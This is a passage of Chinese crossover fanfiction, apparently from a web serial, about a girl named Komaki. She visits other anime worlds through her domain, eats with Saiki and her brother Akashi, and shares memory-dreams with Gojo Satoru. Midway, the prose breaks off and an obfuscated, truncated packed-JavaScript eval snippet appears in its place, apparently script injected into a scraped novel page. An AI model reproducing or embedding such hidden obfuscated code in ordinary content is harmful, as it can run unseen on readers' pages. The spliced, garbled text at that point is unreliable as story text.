与幸吉不知道,比起这个还有更值得关注的:“乙骨呢?他怎么样了。” “我和虎杖一切都好,谢谢你的关心。” “……不,这种事情我知道,东堂已经在东京了。你又联络了我--那只巨鸟是你的匣兵器吗?现在网上传疯了。” 对方沟通欲望稍显强烈,小莳没办法好好展开自己想聊的话题。 “三小时过去了,他们还没处理好?乙骨现在被我囚禁在领域里求生不得求死不能,短期之内大概无法和你说话。”她顺便解释了一下执行人的处境,“你知道的,我对敌人向来有雷霆般的手腕。” “……他应该是受制,并非自愿去处决虎杖。” “没事,我不在乎,我想折磨谁就折磨谁。”小莳松开手,“我好像可以直接到你的生得领域里去,这还挺自由,让我试试,1、2、3--” “等等--” 小莳主动跳进了电话听筒。如果要用科学来解释这种现象,她选量子。 她进入一片冷峻的暗红色房间,如山的傀儡坐落于每个角落,为首的两个沉眠低垂的尤为高大。她继续用目光追寻着房间里的有机体,一无所获。 “你人呢?与幸吉,说话说话。” 稍等片刻,她的背后传来一声咬牙切齿:“你怎么不打招呼就贸然过来。” 小莳皱眉:“我喊了1.2.3的。” “我是说让你提前说!我在和三轮逛街。” “哦?她买得起啊。”听说这姑娘可穷,还有两个弟弟。 “……” 小莳伸出手晃了晃,随即认真指出:“根据契约你的身体你的灵魂都是属于我的财产,我想过来就过来。轮不到你说三道四。” 她说得对,而且为人要比言语和善太多,与幸吉并没有被挟制的紧迫,他问:“……你有什么事吗?” “没事,嘻嘻。就是不好意思打扰骸,所以来打扰你了。也许我以后还能去其他人的领域里逛逛。”不垂堂真是个生活气息浓厚的地方,功能性很不错,又能串门又能看书,小莳喜欢:“你说如果我直接从你的领域里出去,是会像魔术那样大变活人吗?我会从你脑袋里蹦出来吗?” “请不要这样做!” 顺便关心一下:“你们在一起了吗?” “……还没。” 小莳指出:“另一组纯爱已婚十年了。你被后辈超过了啊,与幸吉。”虽然是四舍五入的十年,还是冥婚,水分不少。 “……” 她在确认过电话的功能后就潇洒离开,省的恋爱大师与幸吉恋情失败赖到她头上。回到藏书室,小莳摸了摸电话机听筒,发现那现在只是普通的音孔。她坐在沙发上使用了投影仪。 这次没有什么选择的过程,意外出现,她不出意外的被白屏吸入。 在一阵古早的电视雪花银过后,世界突然变得色彩斑斓。 小莳遇见了赤司征十郎。他在艳阳高照的比赛场座位上和绿间说话,他汗水滑落后颈,他没有看见她。在不远处,哲也正调解着两位男友的纠纷,他也没有看见她。 小莳就知道她只是像观影者一样路过。 她路过坐在板凳上的紫原敦,瞥见他的手机屏保。 4月。 两个世界果然有时差。 听了一会男大的赛间聊天,她离开体育场。没过多久,她发现自己置身凶案现场。有些冒昧,她踩到了人的头发,只不过没留下任何印记,当事人多半也不在意--因为死了。 有一个小小的身影在大人之间乱窜,他的好姐姐在追他,旁边是礼貌假笑的灰原哀,她的笑脸大概是向冲矢昴学的。 不知怎么的她就是知道冲矢昴--赤井秀一,曾经化名诸星大给组织干了不少活,是她姐姐宫野明美的前男友,还是她们姐妹的表兄。哦,真是复杂的人际交往关系。 真要说,他与灰原哀姐姐的死也有着不小的干系,真正的黑暗长了一张爱情的脸。他又借着灰原哀的关系牵线搭桥进入组织…… 而现在灰原哀有些喜欢这个故去姐姐的前男友。 小莳摸了摸她惹人怜爱的咖啡色短发,又离开了。要她说对方还是正常男人见少了,不过恋爱问题小莳也不具有什么权威性。 再次回神时她在闪耀的舞台灯光下,面前和外行人所想完全不同,除了打光板和摄像机,就是一堆疲惫或兴奋的面孔。其中一个手拿喇叭的严峻女人,她推测是导演。 经典的拍摄现场。 小莳回头,看到了摄像机死角处眼神紧张的黄濑阳菜,然后把目光和灯光一起投到主角身上,是染了一头栗色短发的天内理子。打扮娇俏,神色紧张,她像个害怕被拒绝的情书投递员。 大概是恋爱主题拍摄现场。 小莳这么猜测着,她很高兴朋友在这里时隔半年还能继续逐梦,而且看样子效益很好。 在导演满意的cut之后,男演员倒地,看剧组人员这样子……他是永久的倒地了。米花这地方真是一如既往邪门,演员idol还是歌手,大家都有平等的成为名侦探的机会。 没人看见她,她又去了下一个地方。 齐木楠雄看见了她。 在她给自己的恋爱健康程度排名第一时。 她和伏黑惠,打败了双重伦理问题灰原哀组;十七岁冥婚婚龄长达六年的乙骨忧太;二十二岁有两个同宿舍男友的男大黑子哲也。 太积极健康了。 然后她竟然也听到齐木楠雄的一点心声。小莳大胆猜测这是因为第三人称来到世界,就如同游戏里的视角扩大一样,也就像高维俯瞰一样,打破了一面围墙。 虽然这时灵时不灵。 他心想【和前任儿子在一起的人没有资格排第一】 而她心想自己果然就是留了案底被歧视。 “嗨,齐木同学,好久不见。”小莳终于知道为什么咒灵喜欢纠缠有咒术师天赋的人了。诞生在一个人类匆匆忙忙路过而从未看见过自己的世界,又在诞生地无法离开,难得来了一个能够视线交流的存在--好奇、期待,怎么能够不靠近? 虽然咒灵的纠缠总将人引向死亡。 不愧是唯物主义世界唯一KAMI。 被授予奇奇怪怪封号的齐木楠雄再次看到好友他是有些高兴的,虽然是他单方面认定的好友。真没办法只好和她说话。 “你好,赤司同学。” 短暂的寒暄过后,小莳发现自己的健康恋爱还是被打败了。齐木楠雄和他们的校花正在你追我赶的稳健发展。 但是因为根本没有在一起所以被排除在恋爱排名外,她很快找补,她赢了。 齐木楠雄应该是不在意这些的,但他的内心活动却很诚实,在这种本该是莫名其妙的场合攀比之心油然而生。【灰原哀也没有恋爱,这FBI根本就不知道自己正在被暗恋】 不幸又被小莳捕捉,她硬生生装作没听见。不管,精神胜利也是胜利。 齐木楠雄两只耳朵都听见心声,但这次他的内心活动幸运的没泄露。 他问小莳前来有何贵干,她说探亲。 对于赤司小莳这样的姑娘来说--现在她姓泽田了,嘴上和心里不一样简直是家常便饭,齐木楠雄很轻易地提取除了她的真实用意,仅仅只是对领域的一次微不足道的探索。 而她早在新年前就安顿好了在那的一切,迟迟不回来只是因为怕回来了以后难以回去。还真是不必要的担忧和过分谨慎。 齐木楠雄将小莳彻底实体化。他把她从墙外拉了进来。 而她用嘴欠回报他:“我们这样会不会太暧昧了,你女朋友知道了不会生气吧齐木同学?” 在回家的路上齐木楠雄都没再开口。 小莳知道这是开的玩笑有点超过,她的错,早知道就心里想想不说出来了,这样齐木同学想生气也找不到由头。 泽田的脑袋里还是一如既往有糟糕的想法。再次见面她的心态已经比上一次有了极大改善,至少能坦然面对心灵感应。甚至还想到了一些反制对策,只要自己不尴尬,尴尬的就是他。 他没带小莳回家,而是问:“你想吃什么?” 小莳的心念让他后悔有此开腔。 她接着开口:“我说真的,我们去吃天妇罗盖饭吧,那么多朋友只剩下园子和她了。去嘛,我请你吃。” 那这也不是你要去北部找田所惠的理由。 “你会瞬移,正好理子的社交平台上有上次吃饭的照片,只要是你见过的地方应该都可以瞬移过去,对吧?而我们吃饭绝对会超过三分钟。”瞬移冷却时间三分钟。 * 小莳没见到田所惠,但朋友的母亲还记得她,她告诉小莳,惠趁着春天去草木茂盛的近赤道地区修行,今年年中有个料理盛会,她想去参加。 很遗憾的吃了两大碗后,小莳又追加了一份什锦蔬菜天妇罗,吃完了她才想起来自己没有钱。 而由于两人不停地吃,不停地吃……账单数额高达远超齐木楠雄身上百元现金的五位数。 赤司征十郎以一种所有人此前都没预料到的方式救场--小莳给兄长打了电话,而齐木楠雄没有visa。他瞬移回去,并把还没结束练习赛的运动员于三分钟后带了回来。 “征十郎,你听我解释。” “你嘴上还沾着饭米粒,小莳。”兄长的笑容渗透危险的氛围。 “我很不安。总之,你把账先结了。”套用网络用语的小莳做着与前半句完全相反的事情,“靠你了征十郎!” 他付了钱,也没等到关于为何会在这里见到幼妹的解释,她打包了一份炖菜砂锅回去--酥软的肉,配上鲜嫩的时令蔬菜炖煮。简朴但美味,尤其适合晚上吃。 她转移话题:“我又交了新的男朋友,看来我比我以为的更擅长谈恋爱。”介绍起伏黑惠的情况:年轻高中生,背后的家族背景颇深,有上进心,喜欢小动物,天赋卓越,越说越觉得自己虚伪。 这一通介绍简直堪比去年男友生日--他们还没交往的时候他的离奇描述。完全没办法和真人对上号。 齐木楠雄遇上这对兄妹心声不要命的往他耳朵里钻,头晕目眩。他回到东京以后就赶紧离开,所幸他们也没拦着他。 “最重要的一点是他以前没谈过恋爱,惠惠真不错。”如果她想,她一定能成为一个成功的销售。 【再不错也被你拿来做转移话题的筏子。】齐木楠雄最后一句吐槽或许因为太过强烈,进入了小莳的脑袋。 她又和赤司征十郎说起自己的赏金。 “20亿,缺少价值感的两年一下子就被治愈了。虽然成名的代价是惨烈的,但我谅必能够解决。”乙骨忧太失踪这两天流言蜚语应该不少,到时候顺便传播一下是被自己囚禁的,他可是特级。这名头够吓退足够多的杂鱼。 “……”Mafia的生活还真是刺激。 “两年以后我还要去上大学,已经和那边家里商量好了,虽然不在同一个世界,我们也可以成为校友哦征十郎。”贷款豪言壮语说要上顶级学府就是骄傲捏。 “小莳,你的课业--” 她斩钉截铁:“我可以保送。”用考试这种公平的途径把真正努力的人挤下来才是不人道啦,如果是关系户的对决那就是另一回事,这就是小莳的善恶观。 在那之后小莳才解释了其实自己一过来就在东大的篮球场边,只是那时没人能看见她。 “我没指望能在一天之内就研习完毕领域展开,它太宏大了,牵扯到世界层面的事情需得更加细致。”她这样解释,“不过我是个小天才,所以很轻易就能做到别人一辈子都做不到的事情。” 确实如此,毕竟咒术界的中流砥柱们大多一生也难以窥探领域之门:“你就当这是一种更适合咒术师体质的zone。即使是火神那会也废了好大劲才进来呢!” 这个比喻赤司征十郎一听就懂了。 果然,以她的才能若是留在这里才是浪费,他也清楚,小莳并不喜欢这里,甚至连他自己偶尔也会想要逃离。 可靠的兄长对幼妹说:“真好,你过得很幸福。” “确实,幸福是一种难以久存的状态,但我已经持续幸福了好多月了。”从她回去起,几乎就没遇上什么糟心事,并盛那个地方,差不多连工作的生活都是甜的。 小莳又说起了自己的造物兼助理,“他大概不能出现在这里,也许能。希望你可以见一见他,如果我没有自己的孩子的话,以后果然就要靠奈亚养老。” 东亚人从青少年就开始幻想养老生活的习惯使她又说出脱线的话,惹得兄长扶额:“还没到那种时候呢。” “也对,说不定我能想办法延长青春。我打算下次来的时候找灰原要点APTX的资料,我在那认识一些疯狂科学家……而且那里还有名为【不死】的术式,神奇得很,我还有一辈子时间可以研究。”人生虽短,但也不至于像一把沙子一样松手就漏光了。 赤司征十郎被妹妹诡异又疯狂的野心惊讶到,他不是这个意思。 不过,大概这也就是小莳和他们不同的点。她以前甚少在闲聊时袒露这些不着边际的话,也是那个世界,让她的野望与梦想都有了可以停泊的安逸港湾。 如此甚好。 聊着聊着拎东西的变成了赤司征十郎,小莳在路边又吃了点东西,她还尝鲜了一份不当季的黄油土豆--一般来说她认为这是冬天会吃的。 小莳吃了半个就腻了:“我的一个长得和我有点像的朋友很爱吃它,但我觉得……没那么诱人。如果我们家在那个世界也有血脉,那必定得是他。” 她把剩下半个揣兜里,“晚上给我男朋友吃。”征十郎肯定不会吃她剩下的东西。 早知道刚才就点明太子烤土豆了。黄油的一般。 赤司征十郎:……倒也不必这么艰苦。 更晚些的时候她没有和兄长共进晚餐,回去了不垂堂内。 回来的时候和之前不同,她看到了几个画面闪回。 其中一个……原来温莎克丽丝和她还算是同行,恰巧还是和灰原哀关系不算太好的组织成员……因为化名雪莉的她叛逃了。 感觉要长脑子了,贝尔摩得之前来米花居然是为了找灰原哀。她还嗑新兰。 真是……因缘际会,妙不可言。幸好她现在也有了点二五仔面相,不然知道了两个假药受害者身份,总归对小莳的两位朋友不好。 因为她不再喜欢琴酒了……看来自己的前男友一不小心促成了一大件好事。小莳想,大概是贝尔摩得移情别恋了,对组织的爱屋及乌也少了些。 心中一时郁闷又释然。 回去,问乙骨忧太晚上吃什么的时候她还把从北海道远程打包的盒子往身后藏了藏,意思是让他务必不要肖想。 乙骨完全没有这个意思,他随和的说什么都可以。 小莳打算等自己晚餐结束后再给他送菜。开领域一直比较消耗咒力,而今天她已经两次了。虽然领域中没有术式可以供她消耗,但每次作业消耗不小。 她出去以后,召唤出了造物。今天辛苦他了,所以自己自带了晚餐,他可以自由活动。然后下楼找男友--看消息他在几十分钟前就回来了。 无足轻重的又一个巧合,她今天也见到了兄长,只不过这或许可以作为谈资。 津美纪额头上因诅咒显现出的黑色诡谲纹路已经完全消退,在他离开时也输上了新的营养液,再过些日子可以将她带到高专山脚附近的旅店,家入医生已经答应能够帮她更快恢复。 伏黑津美纪的消化系统、神经系统因为长久的昏迷都出现了问题,但只要诅咒解除,这对行医多年的家入硝子来说都不算什么,她的解剖学和病理学学识都让小莳望尘莫及。 小莳对这些渊源极深又根深蒂固的古老法则几乎没有了解,她点点头只说:“能更快恢复的话你的姐姐也会更开心的,你可以多去陪陪她。一年的失去意识对人还是有影响的,你是她唯一的家人。反正接下来一段时间都是咒灵的蛰伏期,悟也有其他事情要做……班主任不在的话学生就可以翘课了。” 伏黑惠因她的话露出笑容,然后他又重新提起昨晚的不愉快,再次认真承诺:“我以后再也不会像昨天那样冒失,对不起,小莳。你说的话我都会认真听。” 她反而犹豫:“这就不用了吧,很多都不是什么值得过脑子的拌嘴。情侣间吵架本来也是寻常事,不必放在心上。” 小莳已经决定不去主动干预伏黑惠的学习进程,有那么多人在给她把关,不缺她一位。 “不是这样的,小莳。”伏黑惠将她揽到臂弯,他的脸贴着她的顺滑的头发,“你帮了我很多,我很感激,不应该对你发脾气。抱歉,是我不够强大,是我担心追赶不上你和前辈们,还有,五条老师。” 呀,这么说,还真是因为同辈和前辈的竞争压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还没等伏黑惠意识到这句话后的意涵。小莳就将话题转移到了最后时刻所见到的场景和海量的信息里。言及金发美人和柯南的对峙,言及她对组织摇摇欲坠的忠诚。她意有所指的发言:“甚尔还真是做了点好人好事,他以前和小哀关系不错。” 小莳进一步补充解释,灰原哀是个沉迷于科学实验的小女孩,伏黑甚尔会帮她热饭,他们住在一起的三个人都不算普通人,然而另外两位适应良好,并且相处融洽,时间长达一年。 “你们都是住一起的吗?” 面对男友的问题,她点了点头。东京的房价不便宜,他们都没什么能力自己买,一家三口全靠征十郎养活。 “一家三口?” 小莳这才发现自己说错话了:“抱歉,只是想起了以前落魄的日子。”这并不是一个好的说辞,也不能让伏黑惠放下心来。归根究底说是一家三口其实只是因为伏黑甚尔带灰原哀像父亲带孩子,她以前可喜欢用这个来调侃小科学家。 她觉得自己有点罪孽深重。这次开口是经过认真思考的:“是我的错,不应该提起他。以后我一定会让他的尸体安安静静的躺好了。”说出口的承诺她总会尽力践行。 晚餐后她拉着他的手一起散步,再那之后他们一起进了小莳的房间,直到第二天早上他才出来。 * 五条悟的梦 如果世界上存在至高神明在暗中布局,那五条悟打出生起就是被安放在中心重点监测位上的存在。他强而自知,习以为常而不觉稀罕。只是强者亦有软肋,他从小也看了些书,在少不更事的时候,他其实否认自己存在类似阿克琉斯之踵的弱势。在十八岁的时候他被迫承认了这点。 在掌握反转术式一年后,他能够彻底熟练无下限术式的应用,又是即将升高四的好时候--高专的学制减少一年,很可能是因为咒术师越来越缺人,早点毕业早点成为劳动力。本来应该是双倍的快乐。 夏油杰叛逃后他不快乐。但人类,就是一种快乐的时候要吃饭,痛苦的时候也要吃饭的生物,思考也是如此,只要人生未结束,选择就不停歇。 他决定做一个教师。 东京不太大,但他和夏油杰的再次见面是在他的27岁。再往后几天,他们又见了一面,他了结了挚友。挚友说他真残忍,居然让学生送死,他就舍不得让家人以身犯险。 是这样的,自十年前一别,大家都走上了不同的路,选择了不同的阵营。这是一道无可解的难题,五条悟并不打算妥协,也许他确实为人冷峻,在嬉皮笑脸的外表下是一颗百折不回的心…… 在他十八岁的时候,他就有一种世界永久改变的错觉--实际上对大部分人来说都没有。然而,他的一切都不再像以前那样了。 总之,他并不觉得挚友会干掉高专的学生,他猜得不错。这对他来说已然足够。对于挚友所想表达的对他甘愿冒险的半讽刺半谴责,他也只是笑了笑。这是战争,他们是战友,无论如何也不愿令人涉险的温情,不当属于战友。 杰的想法仍能看到过去的影子,他依旧有想保护的人。大概那也是独属于他的温情。 而私情……是排在正确的事后面的。五条悟做了正确的事情,在那之后他又刻意回避了此事,直到一年以后的万圣节才意识到,原来挚友是真的被他杀死了。 但他真是个幸运的家伙。 他的痛苦只有短短的几天,而那几天工作又将它埋没,在那之后他就接到了小莳的电话,他再次见到了如假包换的挚友。他们再次成为了朋友。 人生唯一的缺憾就这样以一种破镜重圆的方式被弥补。他是一个完整的人,再一次。 当然,把羂索搞死以后他就可以彻底放下心来对付高层,他决定采纳小莳的认真建议--他看出来她对蹬鼻子上脸的尸位素餐小人的不满,他觉得她的想法一点也算不得偏激。 五条悟一点也没考虑过要放过羂索,所以一切都发生的很快。 第二天他在九十九由基还和羂索聊天的时候就动手了,说来这家伙说出了很有意思的话【我应当创造的,就是自我手中脱离而出的混沌。】 为了了解小莳和她的奈亚,五条悟闲着没事看了几本克苏鲁神话,什么混沌中闪烁的黑色光芒……如果她在这里说不定能和他聊上两句。 “你所渴求的一切,在七年前已经被一个小姑娘创造出来了哦。”他没什么兴趣听一个为了创造生命怀了十胎的家伙讲歪理,不愧是几百年前的人,思想也有古早的风味。 让五条悟想起了中世纪的猎巫小窍门,还有一些治病小偏方。 虽然自己对生物科学毫无心得,但是用朋友的经历来炫耀也是人之常情,大家都有这个时刻,他骄傲得很:“真是没悟性,羂索,你要是早些年改行该有多好。” 然后事情就结束了。 九十九由基很不满聊天被打断,但是她说白了也没打算从冒牌货身上得到更多信息,她问了更在意的问题:“你说的创造生命,这是怎么一回事?” 五条悟才不告诉他,他确保了脑壳之中的脑袋死的不能再死了之后,就离开了现场,他去购物,去观光,准备休息一天明天回去在休息一天,然后开始帮助夕阳红老人迎来晚霞。 入睡时,五条悟做了一个梦。 上一次做梦还是在涩谷之前,他梦见了十七岁和十八岁。今天的梦是涩谷。幸好梦和现实是反的。 他梦见了万圣节的帐,群龙无首的涩谷,准备充分的咒灵,以及……动弹不得被拖进狱门疆的自己,梦见了七海建人的死,钉崎野蔷薇的如死,伏黑惠的第一次调伏魔虚罗以及……虎杖悠仁和宿傩。 于冲天的火光之中,他看见了十五根手指宿傩邪肆的脸。这或许只是一场梦,或许是某个平行世界中已然发生的事件。 一切的逻辑比他看报告分析出来的还通顺。五条悟不会承认自己被梦惊醒。 睡梦中的惊魇往往会在醒后消失,因为大脑会分析出那不过是一场不存在此世的荒诞一刻。这次不一样,并不是这样,他就是知道,这是他本应经历的,被篡夺自由的一幕既定的往事。 生离死别触目惊心,如果是他本人经历了这些,倒没空细细体会其中的悲哀,因为会有做不完的善后之事将他暂且剥离,钝痛会麻木,失落会掩埋。偏偏这是他无所事事两天中的一个噩梦。 令他不得不思考,不得不咀嚼。 第二场梦开始于飞往日本的飞机上,他终于还是臣服于不必要的睡眠,就当是看平行世界的悲剧。纲吉君以前也经历过这些,那时他甚至还没成年。五条悟不介意用好友的经历给自己打气,底气+1 这一次他没再【看见】涩谷,和那以后。 他见到了小莳的领域,看见了她的藏书室,阳光下的居所,绿草柔软的庭院。暧昧不明的金色光线下,他的学生乙骨忧太正在吃一碗速食面。 ……啊,这真是-- 他的念想被黑暗扑灭,再次有意识是在一阵喧闹中。 “这孩子是复仇者监狱所要求的,她既非家族成员也非平民,没有庇护她的必要。” “这不是一个好主意。” “她让福利院包含3名成人、45名儿童陷入群体性幻觉。他们确有审判的理由。” 闹腾,但气氛结了霜。 五条悟想到泽田兄妹曾经和他闲聊时都有提到,当两人共感同波的时候,就有可能在并非彼世的地方看见对方的记忆。比如他们都曾是六道骸的嘉宾。 六道骸本人无意邀请两人中的任何一位。 他成为了小莳记忆里的不速之客,大概。 洪流与他擦身而过,像鱼群一样环绕在周身,五条悟一贯是个擅长自我招待的自来熟好人,他热情招呼自己在此自便。 他抽取了一张。那是小莳对外界无应答的六岁,她孤零零盘腿坐在墙角看一本书,意大利语,他看不懂。 他还抽到了空白卡。 他又伸手,这段记忆里他看到了自己有过一面之缘的白兰·杰索,还有蓝发的温柔女性,和与她一看就是恋人的年长男性。她叫尤尼,他叫伽玛。他们看起来是比白兰靠谱太多的育儿人。全日本第二会带小孩的五条悟认为,令棉花糖成为人体供能的第一位,不是很好的选择。 白兰的一箱棉花糖被小莳用来烤火了。 用作燃料也不是很好的选择。 有趣的记忆,符合一般孩童的记忆,都在十岁之后。小莳的身边多出了货真价实会照顾人的奈亚,同样黑发绿眼的玩伴蓝波,年纪轻轻已经去中国拿了好多冠军的武者一平,还有守护者们。 过后是瓦利亚,彭格列的暗鲨部队,小莳的职场泥鳅性格在这里显山露水。做饭,不会,写报告,不会,体术,也不会。 幻术师只要好好赚钱就行了,玛蒙教的。 忠诚什么的我可没听说过,XANXUS我是不是已经做的很棒了。你看,你boss都说了。 他没说话,他默认。 这让五条悟回忆起自己的高专时光,小莳果然和他很像,都是讨人喜欢的性格! 再那之后就是穿越回本家的两年。并不如意,离开京都兼伏黑甚尔的陪伴让她快乐了不少。可快乐只是过程,快乐并不长存。 她……和伏黑甚尔,一些片段让五条悟都稍微动容。相依的情侣,不经矫饰的灵魂,只是最后也分道扬镳。 美梦还是噩梦,都有醒来的一天……最终过往的一切,如果不被遗忘,就将被封存在霜雪一样的书页中,静静等待也许不存在的未来,有人重新翻阅拾遗。 不可辜负的除了好时光便是真挚情谊,这是杰曾经与他转述过的小莳所言。总是在小莳需要时出现,还偏偏是伏黑甚尔,在那之后又静静退减成只是一段回忆。小莳主动促成了这一番不属于她的感情,也许在过往人生中,她没有指望过过量如糖浆的幸福。 他想起小莳那天在便利店和他说过的话“喜欢就只是‘在一起也不错’的感觉”。她没有说谎。她大概也不太为前一次失败的恋情遗憾,甚至欣然接受。 五条悟还想再多看看,这是有别于窥探欲的另一种情绪,他想更多地再翻阅有关小莳的一切。伏黑甚尔仅仅只是一个在他看来随手之劳的救助之举就换来了她的一些忍气吞声,而自己……他看到了本应该属于自己的未来,一切都因为小莳而改变。 七海,野蔷薇,悠仁……当然,还有京都校的机械丸。 时间过了不知道多久,也许在记忆的介质里,时间是不被承认的,在五条悟的眼中涌现其他颜色之前,清算人来到现场。 “你是把我的领域当成放题特供了吗?话说怎么会有人随随便便不敲门就跑到别人家里来啊!很冒昧,你知道吗?” 是语气凶巴巴的小莳。 “滚哇!” 五条悟来不及说什么,就在飞机上醒来。他对旁边被他的惊呼惊醒的同行特级道:“没事,只是想吓你一下。” 九十九由基真的信了。可能是因为五条悟就是这样一个人,他的回答没引起任何怀疑。 80. 第 80 章 小莳觉得自己无论梦到谁也不应该梦到五条悟,尤其今晚她还和男友一起睡觉。 起初,梦就只是涩谷,很多人身陨,她的前男友被召唤到诅咒师身上……哎,说到这里她就想起鬼故事里的相当一部分都是学生乱玩游戏造成的。这老婆婆都一大把年纪了怎么还乱坑家里人。 哦,最后那老太自己也死了。 而她的现男友,被前男友狠狠打了一顿,战损。前任又自己刀了自己……最后的结果就是一个随手就能干掉的诅咒师,逼着惠召唤了魔虚罗。 世事难料,风水轮流转,这反社会诅咒师要是知道自己的一个小小举动不仅把自己送走了,还送走了几万群众,说不定头七回魂的时候心里都暖暖的。 一切都往坏的方向涌流而去。 也许那就是五条悟被封印以后的走向。梦境大多支离破碎,这样路线清晰,人物关系明朗,时间通顺的,往往不是单纯的梦。大概和她的领域有关系。 也许她的不垂堂就是可以打破第四面墙的存在,今天下午的神游,她甚至能窥见一二齐木同学的思想,与现在同出一辙。这能力挺厉害的,小莳对此有些满意。但对涩谷发生的一切深表不理解。 万圣节一晚上四个小时的事件,如果被拍成电视剧,大概能播一季,小莳还想往后看,却发现那就像悬崖瀑布,戛然而止。她欲回头,也无路可走。 她被冲下河流,沉入水底,在一点点泡沫中,不知怎么就看见了五条悟。 他拽拽地走在路上,称呼赏金猎人为杂碎的样子还挺帅气,小莳有点心动,她想学。 小孩哥身上也有不少东西值得借鉴。 他的生活果然索然无味,五条家就和刻板印象里的禅院家一样,不通网,有电。 他的有趣日子从遇见夏油杰和家入硝子开始--也就是进入高专,开心的几年一晃而过,然后是不那么开心的工作。 挚友在另一阵营也不断发力,诅咒任务少,但是与高层的斡旋还有交锋令人身心俱疲。有的时候一个人打工真的很无助。有的时候会想起挚友。有的时候又期待学生们快快成长起来。 小莳没有主动去探寻,在她意识到这是五条悟的记忆后,就停止了观看,可它们主动将她的大脑填满,所有的信息都往她流淌而来。 这不是一个正常现象。 …… 小莳对进入他人内心世界这件事情驾轻就熟,但五条悟既不是和骸一样有特殊体质的人,也不是与幸吉一样和她有约在身的附身者,太诡异了,她选择退出。 她发现自己被偷家了。 她怒气冲冲赶走了不请自来的坏东西。迄今为止仅有一次的,她像一扇洞开的门扉,被一个人在法国的家伙轻易撞破。 醒来的时候是半夜两点,距离他们睡下还不到两小时。她惊醒的时候带动了旁边的男友,他揉了揉眼睛问:“怎么了?” 小莳:“做了个噩梦。梦见五条悟是我的二重身、异世界同位体。” “……”真是好详细的梦,伏黑惠也因为她说的内容清醒过来,他说“没事,梦都是相反的。” 量子力学在上,这次可不一定像大家期盼的那样。小莳没多说什么,吻了吻旁边人的唇角,“但愿如此,再睡一会,五条悟在回来的飞机上了,明天大概率会被吵醒。” 说完她就躺在男友的怀里睡着了,留他一个人思忖,这也是她梦里的内容吗?没听说老师要回来的事情啊。 小莳接下来倒是睡得沉沉,直到十点多才被饿醒,奈亚留给她的早餐被伏黑惠热了又热,直到它进五条悟的肚子都没等来应许主人的清醒。 好消息是至少她的睡眠未被打扰。 她醒在一个阳光照不进室内的寒冷冬日早上,没有饭,也没有伴手礼。吃了她早饭的家伙已经和学生聊过一轮。 小莳受了委屈,直接把风险转嫁给另外一人。她从冰箱里拿出了本该属于乙骨忧太的三明治,放入微波炉加热后囫囵塞到肚子里。末了评价一句:“不如奈亚做的好吃。” 既然五条悟成功出现在她的宿舍……那就可以放人出来了,也不用替他准备早餐。她打了个响指,房间里再添一人,是猝不及防从刚到没多久的居室中被拎出来的乙骨。 他踉踉跄跄差点向前摔倒,等他稳住身形,就和尊敬的老师打招呼:“五条老师,你回来了!” 尊师重道的心意并没有被妥善接收,他的老师这会和放他出来的女孩抱怨:“小~莳~你就这么不想见到我吗?” 他还有脸说。 小莳面无表情地和伏黑惠解释了昨晚有人深夜偷渡到她的领域里去,让她有点精神错乱。 “胡说,小莳明明也把我看光了!” 她冷漠否认:“没有的事。” 在一阵兵荒马乱中,伏黑惠终于领会了深夜里小莳的但愿如此的含义,可惜事与愿违。他的老师一向闹腾,如今喜欢认亲的女友也叶公好龙起来。 她是真的被五条悟爆发的热情吓到,在她领悟到灵魂的同日,完全没有预料到世上还有近似于【另一个我】一样的存在。至于他会找上门来,她在昨晚就想到有这个可能。 也许会有人的灵魂本质同源,但成长与选择还是会将人引到不同的方向,比方说较小莳而论,五条悟其实是一个更不喜欢孤单的人。但他又确实没什么朋友。 现在…… “小莳!我就说第一眼看到你的时候怎么会有一种熟悉的感觉!” 被点名的人疯狂反驳:“你根本没有,不要乱讲,我们只是短暂相处了十几分钟。”他要是想找怎么也不可能放任她失联十几天,只是礼貌性热络。 人际交往上,五条悟是一种笃定到极端的自我主义。小莳不否认在这一点上他们倒是有一点相似,他们都不在乎其他人。 在五条悟正式整出幺蛾子之前,她先一步占领沉默:“停下,不管你想说什么,我不得不说这都是出于自恋心理的驱使。我可不像你一样,我没那么喜欢自己,也没那么喜欢你。” 五条悟凭借昨晚恶补来的【我之二重身的一生】以及源自内心根植的超验主义的热忱,断然否认:“不,你可喜欢我了。”小莳将他看做一个行为语言顽劣但本质纯善的大好人,而她喜欢好人。 他自恋而自知。 小莳忌惮他在学生面前口无遮拦,她对过去讳莫如深,而今都被一个嘴上不把门的家伙掌握。 她说:“真希望我能分到你一半的自信。”暗含你不要乱来的意思,然而这不是什么有力的反驳。 而五条悟说:“嗯,嗯,都怪泽田家光!” 堵的她哑口无言。 长得高的人固然有被瞧见鼻孔的风险,可身高优势也客观存在,更不用说五条悟是个敏捷到过分的调皮鬼。他在小莳今日并未经过精心打理的毛茸茸乱蓬蓬头发上揉了两下,留下几句来日方长的鬼话和一些语不成章的软和问候--他一定不怎么说这些,听在耳朵里就像果酒混着玻璃渣,甜,但难以下咽。 他讲完这些就带着乙骨忧太走了,距离小莳来到客厅不过两三分钟。 据伏黑惠说他等了有一个多小时。 就为了和她说两句话? 小莳对自己得出的结论不太信赖,而身边的男友还在以沉默为美德等她的解释--他什么也没说,什么也没做,但他就是在等待。 真是忙碌的早晨。辛苦她收拾残局了。 小莳简要和男友说明了一下他们共通的梦境:“法国和东京时差8小时,不知道他下午睡什么觉。” 伏黑惠深知此话是她妄图转移注意力的调侃之言,他拒绝轻易被糊弄过去,而是进一步追问。她只好说:“和骸、与幸吉都不同,我与五条悟差不多是能算得上是同位体嗯,至少在诞生之初是如此的。也许造物主她老人家在不同的世界选择了相同的复制粘贴。”只不过分叉太多,让他们如此不同,难以辨认。 这一发现对小莳的生活造不成任何影响,但对五条悟倒是巨大的收获。她不想自找麻烦,她对【世界上另一个我】的概念兴趣不大。 看男朋友的表情绝对是想歪到其他地方去了:“怎么,现在你又觉得自己谈了一场师生不伦恋--”她的嘴被捂上,然后是男友急匆匆带点央求的语调“别说了小莳!” 明显是误会大了,欲盖弥彰。 她扯下男友的手,说:“就算是同卵双胞胎也不被视作同一个人,更何况我和他明显不一样。” 他迟疑:“其实有的时候挺……” “好吧,你去追求悟吧,我不拦你。”小莳叉腰,面无表情吐槽。 